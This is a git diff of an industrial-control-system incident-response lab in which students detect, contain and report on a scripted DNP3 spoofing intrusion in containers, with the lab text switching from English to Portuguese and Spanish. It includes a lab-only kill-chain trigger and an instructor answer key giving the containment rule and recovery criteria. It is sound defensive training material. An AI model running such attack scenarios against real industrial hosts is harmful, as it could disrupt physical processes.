dejándola corriendo: +> ``` +> mkdir -p ~/ir && cd ~/ir +> zeek -i /opt/zeek-lab/local.zeek +> ``` +> El enlace orientado a OT (`192.168.20.100`) es el que transporta el spoof hasta L1. Con Zeek capturando, abre un **segundo terminal en el host** y dispara la kill-chain: +> ``` +> ./OTLab16.sh -incident +> ``` +> Cuando termine, detén Zeek con `Ctrl+C`; `conn.log`, `dnp3.log` y `notice.log` esperan en `~/ir` — esa es la detección que abre este incidente. *(¿Prefieres reutilizar el `notice.log` que produjiste en el OTLab15? Sáltate el `-incident` y apunta el triaje de abajo a ese fichero.)* + +- 2️⃣ **Acción 2 — Triaje y declaración.** Abre el `notice.log` que acabas de generar con el `-incident` (o reutiliza el del OTLab15). Decide: ¿incidente real o falso positivo? Justifica con evidencia de `conn.log`/`dnp3.log`. Luego **declara el incidente** — indica el alcance y **qué nivel(es) Purdue están afectados**. En OT la pregunta no es "qué datos se filtraron" sino **qué proceso está en riesgo**. + - *Pista: un único READ falsificado que llega a la outstation L`{x}` es más grave que un scan ruidoso que nunca sale de L`{x.x}`. Enfócate en el impacto sobre el proceso vs datos vulnerados.* + +### Respuesta (Respond) + +- 3️⃣ **Acción 3 — Reconstruir la cronología y nombrar el conduit.** A partir de los logs Zeek reconstruye una cronología ordenada del incidente (`ts`, origen, técnica, función CSF) en el **Artefacto 1**. Identifica el **conduit** que el atacante está abusando — descríbelo en términos Purdue. + - *Pista: `cat notice.log | zeek-cut -u ts note src id.resp_h | sort` esboza la cronología — la flag `-u` presenta `ts` como un timestamp UTC legible en lugar del epoch bruto (usa `-d` para hora local). El conduit abusado es el camino L`{x.x}`→L`{x}` que la EWS dual-homed hace de puente — el mismo que usa el poll legítimo del master, y es exactamente por eso que no puedes simplemente bloquearlo todo.* + +- 4️⃣ **Acción 4 — Cortar el conduit (aislar, no apagar).** Ejecuta `./OTLab16.sh -contain`. Aplica la segmentación de referencia: un **DROP quirúrgico** del host atacante hacia OT, mientras el poll sancionado master→outstation sigue fluyendo. **Verifica con Zeek**: los flujos del atacante se detienen *y* el `dnp3.log` muestra el polling continuando dentro de los rangos del OTLab14. Registra la decisión, la reversibilidad y las verificaciones post-acción en el **Artefacto 2** (Registro de Decisión de Contención). + - *Pista: la contención inserta `DROP -s {xxx.xxx.xx.xx} -d 192.168.20.0/24` en la parte superior de la chain `FORWARD` de la EWS — la EWS dual-homed enruta todo el tráfico corp↔OT, por lo que su chain `FORWARD` es el verdadero punto de estrangulamiento. Aislar vs apagar: el alimentador debe seguir siendo consultado. Confirma con `cat conn.log | zeek-cut id.orig_h id.resp_h service | sort -u` — la fila del `{IP del atacante}` desapareció, la fila del `{IP del master}` permanece.* + +- 5️⃣ **Acción 5 — Erradicar el punto de apoyo.** Elimina el punto de apoyo del atacante en el PC corporativo comprometido y cierra el vector inicial (el USB / el IP-forwarding de la EWS que dejó al corporativo llegar a la OT). Anota en tu registro **lo que no pudiste parchear a demanda** y por qué. + - *Pista: los dispositivos de campo (la outstation/RTU L`{x}`) no pueden parchearse ni reiniciarse a demanda en mitad del incidente — la erradicación en OT a menudo significa cortar el alcance ahora y agendar la corrección para una ventana de mantenimiento, no un reinicio en vivo.* + +### Recuperación (Recover) + +- 6️⃣ **Acción 6 — Ejecutar la verificación de baseline (proceso verificado, no solo amenaza eliminada).** Ejecuta `./OTLab16.sh -restore` para volver al estado limpio y monitorizado, luego vuelve a ejecutar tu baseline Zeek. La recuperación solo se aprueba **cuando**: el `notice.log` no muestra nuevas alertas, los endpoints/códigos de función coinciden con las allowlists del OTLab14, y la telemetría de la outstation vuelve a los rangos (tensión `{xxx–xxx}` V, corriente `{x.x–xx}` A). + - *Pista: "recuperar" significa que el **proceso** está verificado como normal, no solo que el atacante desapareció. Pide al contacto de operaciones de la Acción 1 que autorice el "todo despejado" en el Artefacto 3.* + +### Recuperación · Mejora (Recover · Improve) + +- 7️⃣ **Acción 7 — Escribir el informe post-incidente.** Completa el **Artefacto 3** (Informe de Incidente): resumen ejecutivo, alcance en términos Purdue, resumen de la cronología, **causa raíz**, acciones del atacante mapeadas al **MITRE ATT&CK for ICS**, IOCs que convertirías en reglas de SIEM, acciones de respuesta etiquetadas por función CSF, lo que deliberadamente **no** hiciste y por qué, aprobación de la recuperación y lecciones aprendidas. Tu principal recomendación debe realimentar la arquitectura: introducir la **IDMZ / segmentación** de `PurdueModelReference-ES.md` para que este conduit no pueda volver a ser abusado. **Este documento cierra la trilogía OTLab14/15/16.** + - *Pista: la causa raíz no es "el USB" solo — es `{USB}` + `{IT/OT plana}` + `{EWS dual-homed sin DMZ}`. La corrección que previene la recurrencia es la arquitectura Purdue **objetivo**, que conecta Recover de vuelta con Improve.* + +## 🎯 Competencias + +**Prácticas:** Triaje de Incidentes · Análisis Forense de Logs (Zeek) · Contención de Red · Endurecimiento de Arquitectura OT + +**Aplicando [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/) — Mitigaciones:** + +[![M0930 Network Segmentation](https://img.shields.io/badge/ATT%26CK_ICS-M0930_Network_Segmentation-blue)](https://attack.mitre.org/mitigations/M0930/) +[![M0937 Filter Network Traffic](https://img.shields.io/badge/ATT%26CK_ICS-M0937_Filter_Network_Traffic-blue)](https://attack.mitre.org/mitigations/M0937/) +[![M0931 Network Intrusion Prevention](https://img.shields.io/badge/ATT%26CK_ICS-M0931_Network_Intrusion_Prevention-blue)](https://attack.mitre.org/mitigations/M0931/) + +**Mapeado al ciclo de vida de respuesta a incidentes [NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final) (funciones [CSF 2.0](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final)):** las siete acciones recorren *Govern/Identify* (Preparación) → *Detect* → *Respond* → *Recover/Improve*. + +## 🔖 Nomenclatura + +- ATT&CK for ICS: base de conocimiento de MITRE sobre comportamiento de adversarios en sistemas de control industrial; las *Mitigaciones* son las contrapartes defensivas de las *Técnicas*. +- conduit: en el sentido Purdue/IEC 62443, el camino de comunicación controlado entre dos zonas de seguridad. +- CSF: [NIST Cybersecurity Framework](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final); la versión 2.0 organiza el trabajo en las funciones *Govern, Identify, Protect, Detect, Respond, Recover*. +- CSIRT: Equipo de respuesta a incidentes de seguridad informática (*Computer Security Incident Response Team*). +- DNP3: Distributed Network Protocol version 3 — protocolo SCADA ampliamente usado en servicios eléctricos, de agua y de petróleo y gas. +- EWS: Estación de trabajo de ingeniería (*engineering workstation*) — el host operado por ingenieros de control para configurar, programar y monitorizar dispositivos de campo. +- ICS: Sistema de control industrial (*industrial control system*). +- IDMZ: Zona desmilitarizada industrial (*Industrial Demilitarised Zone*) — el buffer de nivel Purdue 3.5 que intermedia todo el tráfico IT↔OT. +- IOC: Indicador de compromiso (*indicator of compromise*) — un artefacto observable de red o host que sugiere una intrusión. +- IR / IRP: Respuesta a incidentes / plan de respuesta a incidentes. +- NSM: Monitorización de seguridad de red (*network security monitoring*) — observación pasiva del tráfico; Zeek es una herramienta NSM. +- OT: Tecnología operativa (*operational technology*). +- PERA / Purdue: Purdue Enterprise Reference Architecture — el modelo de referencia en capas (L0–L5) para segmentación de redes ICS. +- RTO / RPO: Objetivo de tiempo de recuperación / objetivo de punto de recuperación (*recovery time/point objective*). +- RTU: Unidad terminal remota (*remote terminal unit*) — el papel de dispositivo de campo que normalmente desempeña una outstation DNP3. +- SCADA: Supervisión, control y adquisición de datos (*supervisory control and data acquisition*). +- [SP 800-61](https://csrc.nist.gov/pubs/sp/800/61/r3/final) / [SP 800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final): guías NIST para el tratamiento de incidentes y para seguridad OT, respectivamente. + +## 🛠️ Uso + +``` +Usage: ./OTLab16.sh -start [kali|ubuntu] | -stop | -clean | -run | -restart | -status + | -attack | -incident | -contain | -restore + + -start Inicia el entorno DNP3_IR usando la distro indicada (por defecto: ubuntu) + Opciones válidas: kali (rolling) o ubuntu (22.04) + -run Abre un terminal dentro del contenedor otlab-student (EWS) + -clean Elimina contenedores, volúmenes y la red (revierte todas las reglas iptables) + -stop Detiene todos los contenedores + -restart Reinicia contenedores previamente detenidos + -status Muestra el estado actual de los contenedores + -attack Dispara un único escenario de ataque controlado (scan | fingerprint | spoof) + -incident Repite la kill-chain completa (scan → fingerprint → spoof) para abrir el incidente + -contain Aplica la contención de referencia: DROP quirúrgico del atacante hacia OT, + preservando el poll legítimo master→outstation + -restore Levanta la contención y vuelve al estado limpio y monitorizado +``` + +> [!NOTE] +> Cuando se ejecuta en **WSL2**, el script detecta automáticamente el entorno y aplica las reglas a nivel de kernel (`bridge-nf-call-iptables=0` y dos reglas `DOCKER-USER` ACCEPT) necesarias para que el tráfico se enrute entre los dos *bridges* de Docker. El `-contain` aplica entonces su `DROP` quirúrgico en la **propia chain `FORWARD` de la EWS** (vía `docker exec`, sin `sudo` en el host), y el `-restore` lo elimina — una regla `DOCKER-USER` en el host sería silenciosamente inerte en WSL2, ya que el tráfico entre bridges se conmuta a L2. Las reglas `ACCEPT` entre bridges requieren `sudo` y se revierten con `-clean`. En Linux nativo y en Docker Desktop de macOS las reglas entre bridges se omiten — consulta `IRPlaybookReference-ES.md` para los detalles de la contención. + +## Soluciones + +Este laboratorio es **operacional, no código-para-rellenar**: el estudiante conduce el incidente a través de los verbos del `OTLab16.sh` y registra el razonamiento en `IR_Template-ES.md`. La clave del instructor es el contenido esperado de los tres artefactos más la contención de referencia: + +- **Contención (referencia):** un único drop quirúrgico en la chain `FORWARD` de la EWS — `docker exec otlab-student iptables -I FORWARD 1 -s 192.168.21.30 -d 192.168.20.0/24 -j DROP` — insertado en la parte superior para ganar a las reglas de reenvío. El master (192.168.21.20) sigue consultando la outstation (192.168.20.10); solo el atacante (192.168.21.30) pierde su camino hacia OT. Esto es lo que el `-contain` aplica y el `-restore` elimina. +- **Verificación de baseline (criterios de "todo despejado"):** `notice.log` limpio, endpoints y códigos de función de vuelta dentro de las allowlists del OTLab14, y telemetría en los rangos (110–130 V, 0,5–15 A) con el interruptor alternando en su cadencia de ~100 s. +- **Causa raíz:** malware vía USB **+** IT/OT plana sin segmentación **+** EWS dual-homed haciendo de puente entre los dos segmentos sin IDMZ. La corrección recomendada es la arquitectura *objetivo* en `PurdueModelReference-ES.md`. diff --git a/OTLab16/OTLab16.md b/OTLab16/OTLab16.md index 098e088..9c8bebc 100644 --- a/OTLab16/OTLab16.md +++ b/OTLab16/OTLab16.md @@ -1,4 +1,13 @@ -# OTLab16 — DNP3 + Incident Response Lab +--- +title: "Lab 16 - Emulação do protocolo DNP3 e resposta a incidentes" +description: "Trabalhar uma intrusão OT em direto pelo ciclo de vida NIST SP 800-61r3 / CSF 2.0: triagem, contenção cirúrgica que preserva o processo DNP3, recuperação e relatório pós-incidente." +categories: ["Laboratórios"] +difficulty: "Avançado" +tags: ["OT", "ICS", "DNP3", "Resposta a Incidentes", "NIST SP 800-61", "NIST SP 800-82", "CSF 2.0", "Modelo Purdue", "Contenção", "SCADA"] +estimated_time: "90 min" +level: 4 +area: "response" +--- ![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "OTLab16 — DNP3 + Incident Response Lab") @@ -14,133 +23,131 @@ [![LinkedIn Farias Rafael](https://img.shields.io/badge/LinkedIn-Farias_Rafael-blue)](https://www.linkedin.com/in/farias-rafael/) [![IPLeiria ESTG-DEI](https://img.shields.io/badge/IPLeiria-ESTG--DEI-green)](https://www.ipleiria.pt/estg-dei/) -## Scenario +## Cenário -This is the **third and final lab** in the substation story. In OTLab14 you read DNP3 off the wire with Wireshark and wrote down the baseline. In OTLab15 you turned that baseline into Zeek allowlists and built behavioural detectors — and the last thing you produced was a `notice.log` and a one-page incident summary. +Este é o **terceiro e último laboratório** da história da subestação. No OTLab14 leste DNP3 do fio com o Wireshark e anotaste a baseline. No OTLab15 transformaste essa baseline em allowlists Zeek e construíste detetores comportamentais — e a última coisa que produziste foi um `notice.log` e um resumo de incidente de uma página. -**This time the alarm is real.** The `notice.log` is no longer a classroom artefact: it is the **detection that opens a live incident**. The intrusion that started when **Maria from Finance** plugged in the parking-lot USB has worked its way through the corporate segment and is now probing — and spoofing — into OT, where a real feeder breaker can be flipped. You stop being the detection engineer and become the **incident responder**. +**Desta vez o alarme é real.** O `notice.log` já não é um artefacto de sala de aula: é a **deteção que abre um incidente em direto**. A intrusão que começou quando a **Maria, do Financeiro**, ligou a pen USB do parque de estacionamento abriu caminho pelo segmento corporativo e está agora a sondar — e a falsificar (*spoof*) — para dentro da OT, onde um disjuntor de alimentador real pode ser acionado. Deixas de ser o engenheiro de deteção e passas a ser o **responsável pela resposta a incidentes**. -You will work the incident through the **[NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final)** lifecycle, expressed as the **[CSF 2.0](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final) functions**: *Govern · Identify · Protect* as **Preparation**, then *Detect · Respond · Recover* as the live **Incident Response**, closing with *Improve*. For the OT angle you will lean on **[NIST SP 800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final)** (Guide to OT Security). +Vais trabalhar o incidente pelo ciclo de vida do **[NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final)**, expresso como as **funções do [CSF 2.0](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final)**: *Govern · Identify · Protect* como **Preparação**, depois *Detect · Respond · Recover* como a **Resposta a Incidentes** em direto, fechando com *Improve*. Para a vertente OT vais apoiar-te no **[NIST SP 800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final)** (Guide to OT Security). -The single most important lesson of this lab: **in OT, incident response is not "pull the plug".** There are *safety* and *availability* to protect — the legitimate master↔outstation polling **must keep running** while you eject the attacker. That trade-off is what makes OT IR different from IT IR, and it is the thread that runs through every task below. +A lição mais importante deste laboratório: **em OT, resposta a incidentes não é "desligar a ficha".** Há *segurança física (safety)* e *disponibilidade* a proteger — o polling legítimo master↔outstation **tem de continuar a correr** enquanto ejetas o atacante. Esse compromisso é o que torna a IR em OT diferente da IR em IT, e é o fio condutor de todas as tarefas abaixo. > [!NOTE] -> **The OTLab15 deliverable is the input here.** Keep your OTLab15 `notice.log` and one-page incident summary open — they are what *triggers* this incident. Keep the OTLab14 baseline open too (endpoints, function codes, value ranges); you will use it again to declare the all-clear. +> **O entregável do OTLab15 é a entrada aqui.** Mantém o teu `notice.log` e o resumo de incidente de uma página do OTLab15 abertos — são eles que *desencadeiam* este incidente. Mantém também a baseline do OTLab14 aberta (endpoints, códigos de função, gamas de valores); vais usá-la de novo para declarar o "tudo limpo". > [!NOTE] -> Two companions live in this lab's directory. `IRPlaybookReference.md` summarises the [NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final) / [800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final) lifecycle, the OT severity matrix, and the containment/verification recipes. `PurdueModelReference.md` is the visual heart of the lab — the *current (insecure)* vs *target (hardened)* architecture. Record your work in `IR_Template.md` (three artefacts: running log, containment decision record, incident report). +> Dois companheiros vivem na diretoria deste laboratório. `IRPlaybookReference.md` resume o ciclo de vida [NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final) / [800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final), a matriz de severidade OT e as receitas de contenção/verificação. `PurdueModelReference.md` é o coração visual do laboratório — a arquitetura *atual (insegura)* vs *alvo (endurecida)*. Regista o teu trabalho em `IR_Template.md` (três artefactos: registo corrente, registo de decisão de contenção, relatório de incidente). -## 📝 Tasks +## 📝 Tarefas > [!WARNING] -> All tasks are conducted inside the lab containers. **Do not run any attack scenario, scanner, or containment rule against hosts outside this lab.** `-incident` emits real, valid DNP3 PDUs and `-contain` edits host firewall rules; pointed at production gear they can disrupt real industrial processes. +> Todas as tarefas são realizadas dentro dos contentores do laboratório. **Não executes nenhum cenário de ataque, scanner ou regra de contenção contra hosts fora deste laboratório.** O `-incident` emite PDUs DNP3 reais e válidas e o `-contain` edita regras de firewall do host; apontados a equipamento de produção, podem perturbar processos industriais reais. -The seven actions below are each tagged with its CSF 2.0 function and the Purdue overlay it exercises. +As sete ações abaixo estão etiquetadas, cada uma, com a sua função CSF 2.0 e a sobreposição Purdue que exercita. -### Preparation — `Govern` · `Identify` *(optional, do once)* +### Preparação — `Govern` · `Identify` *(opcional, fazer uma vez)* -- [ ] **Action 1 — Map the estate to Purdue, before the incident.** Bring the lab up with `./OTLab16.sh -start` and `-status` (the four OTLab15 containers return). Using `PurdueModelReference.md`, place every host from Labs 14/15 on a Purdue level and write it into the header of **Artifact 1** (running log). Name the **operations contact / authoriser** now — the person you must call before you cut anything. - - *Hint: the outstation/RTU is L`{x}`, the master is L`{x}`, the EWS is the L`{x.x}` boundary host, and the breaker is L`{x}`. The IR plan must name an ops contact `{before|after}` the incident, not during it.* +- 1️⃣ **Ação 1 — Mapear o parque para Purdue, antes do incidente.** Levanta o laboratório com `./OTLab16.sh -start` e `-status` (os quatro contentores do OTLab15 regressam). Usando `PurdueModelReference.md`, coloca cada host dos Labs 14/15 num nível Purdue e escreve-o no cabeçalho do **Artefacto 1** (registo corrente). Nomeia já o **contacto de operações / autorizador** — a pessoa a quem tens de ligar antes de cortares o que quer que seja. + - *Pista: a outstation/RTU é L`{x}`, o master é L`{x}`, a EWS é o host de fronteira L`{x.x}` e o disjuntor é L`{x}`. O plano de IR tem de nomear um contacto de operações `{antes|depois}` do incidente, não durante.* -### Detect +### Deteção (Detect) > [!NOTE] -> **Open the incident live — start the sensor first.** The EWS only records the attack if Zeek is already capturing when it lands. Enter the EWS with `./OTLab16.sh -run`, find its interfaces with `ip -br a`, then start the ready policy in a working directory and leave it running: +> **Abre o incidente em direto — arranca primeiro o sensor.** A EWS só regista o ataque se o Zeek já estiver a capturar quando ele acontecer. Entra na EWS com `./OTLab16.sh -run`, encontra as suas interfaces com `ip -br a` e depois inicia a política pronta numa diretoria de trabalho, deixando-a a correr: > ``` > mkdir -p ~/ir && cd ~/ir > zeek -i /opt/zeek-lab/local.zeek > ``` -> The OT-facing link (`192.168.20.100`) is the one that carries the spoof down to L1. With Zeek capturing, open a **second terminal on the host** and fire the kill-chain: +> A ligação virada para OT (`192.168.20.100`) é a que transporta o spoof até L1. Com o Zeek a capturar, abre um **segundo terminal no host** e dispara a kill-chain: > ``` > ./OTLab16.sh -incident > ``` -> When it finishes, stop Zeek with `Ctrl+C`; `conn.log`, `dnp3.log` and `notice.log` are waiting in `~/ir` — that is the detection that opens this incident. *(Rather reuse the `notice.log` you produced in OTLab15? Skip `-incident` and point the triage below at that file instead.)* +> Quando terminar, para o Zeek com `Ctrl+C`; `conn.log`, `dnp3.log` e `notice.log` ficam à espera em `~/ir` — essa é a deteção que abre este incidente. *(Preferes reutilizar o `notice.log` que produziste no OTLab15? Salta o `-incident` e aponta a triagem abaixo a esse ficheiro.)* -- [ ] **Action 2 — Triage and declare.** Open the `notice.log` you just generated with `-incident` (or reuse your OTLab15 one). Decide: real incident or false positive? Justify with `conn.log`/`dnp3.log` evidence. Then **declare the incident** — state the scope and **which Purdue level(s) are affected**. In OT the question is not "what data leaked" but **what process is at risk**. - - *Hint: a single spoofed READ that reaches the L`{x}` outstation is more serious than a noisy scan that never leaves L`{x.x}`. Focus on process impact vs data breached.* +- 2️⃣ **Ação 2 — Triagem e declaração.** Abre o `notice.log` que acabaste de gerar com o `-incident` (ou reutiliza o do OTLab15). Decide: incidente real ou falso positivo? Justifica com evidência de `conn.log`/`dnp3.log`. Depois **declara o incidente** — indica o âmbito e **que nível(eis) Purdue estão afetados**. Em OT a pergunta não é "que dados vazaram" mas **que processo está em risco**. + - *Pista: um único READ falsificado que chega à outstation L`{x}` é mais grave do que um scan ruidoso que nunca sai de L`{x.x}`. Foca o impacto no processo vs dados violados.* -### Respond +### Resposta (Respond) -- [ ] **Action 3 — Rebuild the timeline and name the conduit.** From the Zeek logs reconstruct an ordered incident timeline (`ts`, source, technique, CSF function) into **Artifact 1**. Identify the **conduit** the attacker is abusing — describe it in Purdue terms. - - *Hint: `cat notice.log | zeek-cut -u ts note src id.resp_h | sort` drafts the timeline — the `-u` flag renders `ts` as a human-readable UTC timestamp instead of the raw epoch (use `-d` for local time). The abused conduit is the path L`{x.x}`→L`{x}` that the dual-homed EWS bridges — the same one the legitimate master poll uses, which is exactly why you cannot simply block all of it.* +- 3️⃣ **Ação 3 — Reconstruir a cronologia e nomear o conduit.** A partir dos logs Zeek reconstrói uma cronologia ordenada do incidente (`ts`, origem, técnica, função CSF) no **Artefacto 1**. Identifica o **conduit** que o atacante está a abusar — descreve-o em termos Purdue. + - *Pista: `cat notice.log | zeek-cut -u ts note src id.resp_h | sort` esboça a cronologia — a flag `-u` apresenta `ts` como um timestamp UTC legível em vez do epoch bruto (usa `-d` para hora local). O conduit abusado é o caminho L`{x.x}`→L`{x}` que a EWS dual-homed faz de ponte — o mesmo que o poll legítimo do master usa, e é exatamente por isso que não podes simplesmente bloqueá-lo todo.* -- [ ] **Action 4 — Cut the conduit (isolate, do not shut down).** Run `./OTLab16.sh -contain`. It applies the reference segmentation: a **surgical DROP** of the attacker host into OT, while the sanctioned master→outstation poll keeps flowing. **Verify with Zeek**: the attacker's flows stop *and* `dnp3.log` shows polling continuing within the OTLab14 ranges. Record the decision, the reversibility, and the post-action checks in **Artifact 2** (Containment Decision Record). - - *Hint: containment inserts `DROP -s {xxx.xxx.xx.xx} -d 192.168.20.0/24` at the top of the EWS `FORWARD` chain — the dual-homed EWS routes all corp↔OT traffic, so its `FORWARD` chain is the real chokepoint. Isolate vs shutdown: the feeder must keep being polled. Confirm with `cat conn.log | zeek-cut id.orig_h id.resp_h service | sort -u` — the `{attacker IP}` row is gone, the `{master IP}` row remains.* +- 4️⃣ **Ação 4 — Cortar o conduit (isolar, não desligar).** Corre `./OTLab16.sh -contain`. Aplica a segmentação de referência: um **DROP cirúrgico** do host atacante para OT, enquanto o poll sancionado master→outstation continua a fluir. **Verifica com Zeek**: os fluxos do atacante param *e* o `dnp3.log` mostra o polling a continuar dentro das gamas do OTLab14. Regista a decisão, a reversibilidade e as verificações pós-ação no **Artefacto 2** (Registo de Decisão de Contenção). + - *Pista: a contenção insere `DROP -s {xxx.xxx.xx.xx} -d 192.168.20.0/24` no topo da chain `FORWARD` da EWS — a EWS dual-homed encaminha todo o tráfego corp↔OT, por isso a sua chain `FORWARD` é o verdadeiro ponto de estrangulamento. Isolar vs desligar: o alimentador tem de continuar a ser consultado. Confirma com `cat conn.log | zeek-cut id.orig_h id.resp_h service | sort -u` — a linha do `{IP do atacante}` desapareceu, a linha do `{IP do master}` permanece.* -- [ ] **Action 5 — Eradicate the foothold.** Remove the attacker's foothold on the compromised corporate PC and close the initial vector (the USB / the EWS IP-forwarding that let corp reach OT). Note in your log **what you could not patch on demand** and why. - - *Hint: field devices (the L`{x}` outstation/RTU) can't be patched or rebooted on demand mid-incident — eradication in OT often means cutting reach and scheduling the fix for a maintenance window, not a live reboot.* +- 5️⃣ **Ação 5 — Erradicar o ponto de apoio.** Remove o ponto de apoio do atacante no PC corporativo comprometido e fecha o vetor inicial (a USB / o IP-forwarding da EWS que deixou o corporativo chegar à OT). Anota no teu registo **o que não conseguiste corrigir a pedido** e porquê. + - *Pista: os dispositivos de campo (a outstation/RTU L`{x}`) não podem ser corrigidos nem reiniciados a pedido a meio do incidente — a erradicação em OT muitas vezes significa cortar o alcance e agendar a correção para uma janela de manutenção, não um reinício em direto.* -### Recover +### Recuperação (Recover) -- [ ] **Action 6 — Run the baseline check (process verified, not just threat gone).** Run `./OTLab16.sh -restore` to return to the clean monitored state, then re-run your Zeek baseline. Recovery is signed off **only** when: `notice.log` shows no new alerts, the endpoints/function codes match the OTLab14 allowlists, and the outstation telemetry is back in range (voltage `{xxx–xxx}` V, current `{x.x–xx}` A). - - *Hint: "recover" means the **process** is verified normal, not merely that the attacker is gone. Get the ops contact from Action 1 to authorise the all-clear in Artifact 3.* +- 6️⃣ **Ação 6 — Correr a verificação de baseline (processo verificado, não apenas ameaça eliminada).** Corre `./OTLab16.sh -restore` para regressar ao estado limpo e monitorizado, depois volta a correr a tua baseline Zeek. A recuperação só é aprovada **quando**: o `notice.log` não mostra novos alertas, os endpoints/códigos de função correspondem às allowlists do OTLab14, e a telemetria da outstation volta às gamas (tensão `{xxx–xxx}` V, corrente `{x.x–xx}` A). + - *Pista: "recuperar" significa que o **processo** está verificado como normal, não apenas que o atacante desapareceu. Pede ao contacto de operações da Ação 1 para autorizar o "tudo limpo" no Artefacto 3.* -### Recover · Improve +### Recuperação · Melhoria (Recover · Improve) -- [ ] **Action 7 — Write the post-incident report.** Complete **Artifact 3** (Incident Report): executive summary, scope in Purdue terms, timeline summary, **root cause**, attacker actions mapped to **MITRE ATT&CK for ICS**, IOCs you would turn into SIEM rules, response actions tagged by CSF function, what you deliberately did **not** do and why, recovery sign-off, and lessons learned. Your top recommendation should feed back into the architecture: introduce the **IDMZ / segmentation** from `PurdueModelReference.md` so this conduit cannot be abused again. **This document closes the OTLab14/15/16 trilogy.** - - *Hint: root cause is not "the USB" alone — it is `{USB}` + `{flat IT/OT}` + `{dual-homed EWS with no DMZ}`. The fix that prevents recurrence is the **target** Purdue architecture, which ties Recover back to Improve.* +- 7️⃣ **Ação 7 — Escrever o relatório pós-incidente.** Completa o **Artefacto 3** (Relatório de Incidente): resumo executivo, âmbito em termos Purdue, resumo da cronologia, **causa-raiz**, ações do atacante mapeadas ao **MITRE ATT&CK for ICS**, IOCs que transformarias em regras de SIEM, ações de resposta etiquetadas por função CSF, o que deliberadamente **não** fizeste e porquê, aprovação da recuperação e lições aprendidas. A tua principal recomendação deve realimentar a arquitetura: introduzir a **IDMZ / segmentação** do `PurdueModelReference.md` para que este conduit não possa ser abusado de novo. **Este documento fecha a trilogia OTLab14/15/16.** + - *Pista: a causa-raiz não é "a USB" sozinha — é `{USB}` + `{IT/OT plana}` + `{EWS dual-homed sem DMZ}`. A correção que previne a recorrência é a arquitetura Purdue **alvo**, que liga Recover de volta a Improve.* -## 🎯 Skills +## 🎯 Competências -**Hands-on:** Incident Triage · Log Forensics (Zeek) · Network Containment · OT Architecture Hardening +**Práticas:** Triagem de Incidentes · Análise Forense de Logs (Zeek) · Contenção de Rede · Endurecimento de Arquitetura OT -**Applying [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/) — Mitigations:** +**A aplicar [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/) — Mitigações:** [![M0930 Network Segmentation](https://img.shields.io/badge/ATT%26CK_ICS-M0930_Network_Segmentation-blue)](https://attack.mitre.org/mitigations/M0930/) [![M0937 Filter Network Traffic](https://img.shields.io/badge/ATT%26CK_ICS-M0937_Filter_Network_Traffic-blue)](https://attack.mitre.org/mitigations/M0937/) [![M0931 Network Intrusion Prevention](https://img.shields.io/badge/ATT%26CK_ICS-M0931_Network_Intrusion_Prevention-blue)](https://attack.mitre.org/mitigations/M0931/) -**Mapped to the [NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final) incident-response lifecycle ([CSF 2.0](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final) functions):** the seven actions move through *Govern/Identify* (Preparation) → *Detect* → *Respond* → *Recover/Improve*. - -## 🔖 Nomenclature - -- ATT&CK for ICS: MITRE's adversary-behaviour knowledge base for industrial control systems; *Mitigations* are the defensive counterparts of *Techniques*. -- conduit: in the Purdue/IEC 62443 sense, the controlled communication path between two security zones. -- CSF: [NIST Cybersecurity Framework](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final); version 2.0 organises work into the functions *Govern, Identify, Protect, Detect, Respond, Recover*. -- CSIRT: Computer Security Incident Response Team. -- DNP3: Distributed Network Protocol version 3 — SCADA protocol widely used in electric, water, and oil & gas utilities. -- EWS: Engineering workstation — the host operated by control engineers to configure, program, and monitor field devices. -- ICS: Industrial control system. -- IDMZ: Industrial Demilitarised Zone — the Purdue Level 3.5 buffer that brokers all IT↔OT traffic. -- IOC: Indicator of compromise — an observable network or host artefact that suggests an intrusion. -- IR / IRP: Incident response / incident response plan. -- NSM: Network security monitoring — passive observation of traffic; Zeek is an NSM tool. -- OT: Operational technology. -- PERA / Purdue: Purdue Enterprise Reference Architecture — the layered (L0–L5) reference model for ICS network segmentation. -- RTO / RPO: Recovery time objective / recovery point objective. -- RTU: Remote terminal unit — the field device role typically played by a DNP3 outstation. -- SCADA: Supervisory control and data acquisition. -- [SP 800-61](https://csrc.nist.gov/pubs/sp/800/61/r3/final) / [SP 800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final): NIST guides for incident handling and for OT security, respectively. - -## 🛠️ Usage +**Mapeado ao ciclo de vida de resposta a incidentes [NIST SP 800-61r3](https://csrc.nist.gov/pubs/sp/800/61/r3/final) (funções [CSF 2.0](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final)):** as sete ações percorrem *Govern/Identify* (Preparação) → *Detect* → *Respond* → *Recover/Improve*. + +## 🔖 Nomenclatura + +- ATT&CK for ICS: base de conhecimento da MITRE sobre comportamento de adversários em sistemas de controlo industrial; as *Mitigações* são as contrapartes defensivas das *Técnicas*. +- conduit: no sentido Purdue/IEC 62443, o caminho de comunicação controlado entre duas zonas de segurança. +- CSF: [NIST Cybersecurity Framework](https://csrc.nist.gov/pubs/cswp/29/the-nist-cybersecurity-framework-csf-20/final); a versão 2.0 organiza o trabalho nas funções *Govern, Identify, Protect, Detect, 